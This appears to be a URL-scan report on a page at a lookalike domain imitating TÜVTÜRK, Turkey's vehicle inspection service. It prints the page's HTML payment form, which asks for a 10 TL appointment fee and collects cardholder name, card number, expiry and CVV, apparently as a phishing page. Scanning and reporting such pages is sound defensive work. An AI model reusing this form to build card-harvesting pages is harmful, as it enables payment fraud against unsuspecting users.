www-tuvturk.com
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2606:4700:3036::6815:1ab5
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URL:
https://www-tuvturk.com/odeme.php
Submission: On January 18 via api from TR — Scanned from DE
Submission: On January 18 via api from TR — Scanned from DE
Form analysis
1 forms found in the DOMPOST
<form action="" method="post">
<div style="display:flex;justify-content:center;text-align:center;width:100%;">
<img src="image/unnamed.png" id="vt" alt="">
<p style="font-size:15px;text-align:left;text-transform:none;margin-left:30px">Muayene Randevusu işleminize devam etmek için ödemeniz gereken tutar. ( 10 TL ) </p>
</div>
<div class="inputBox">
<span>İSİM SOYİSİM</span>
<input type="text" name="name" class="card-holder-input" required="">
</div>
<div class="inputBox">
<span>KART NUMARASI</span>
<input type="text" name="kk" id="kk" maxlength="16" class="card-number-input" required="">
</div>
<div class="flexbox">
<div class="inputBox">
<span>AY</span>
<select name="ay" id="ay" class="month-input" required="">
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
</select>
</div>
<div class="inputBox">
<span>YIL</span>
<select name="yil" id="yil" class="year-input" required="">
<option value="2023">2023</option>
<option value="2024">2024</option>
<option value="2025">2025</option>
<option value="2026">2026</option>
<option value="2027">2027</option>
<option value="2028">2028</option>
<option value="2029">2029</option>
<option value="2030">2030</option>
<option value="2030">2031</option>
<option value="2032">2032</option>
<option value="2033">2033</option>
</select>
</div>
<div class="inputBox">
<span>cvv</span>
<input type="text" maxlength="4" id="cvv" name="cvv" class="cvv-input">
</div>
</div>
<input type="submit" value="Ödeme yap" class="submit-btn">
</form>
Text Content
################ İSİM SOYİSİM #### #### AY/YIL mm yy cvv Muayene Randevusu işleminize devam etmek için ödemeniz gereken tutar. ( 10 TL ) İSİM SOYİSİM KART NUMARASI AY 01 02 03 04 05 06 07 08 09 10 11 12 YIL 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 cvv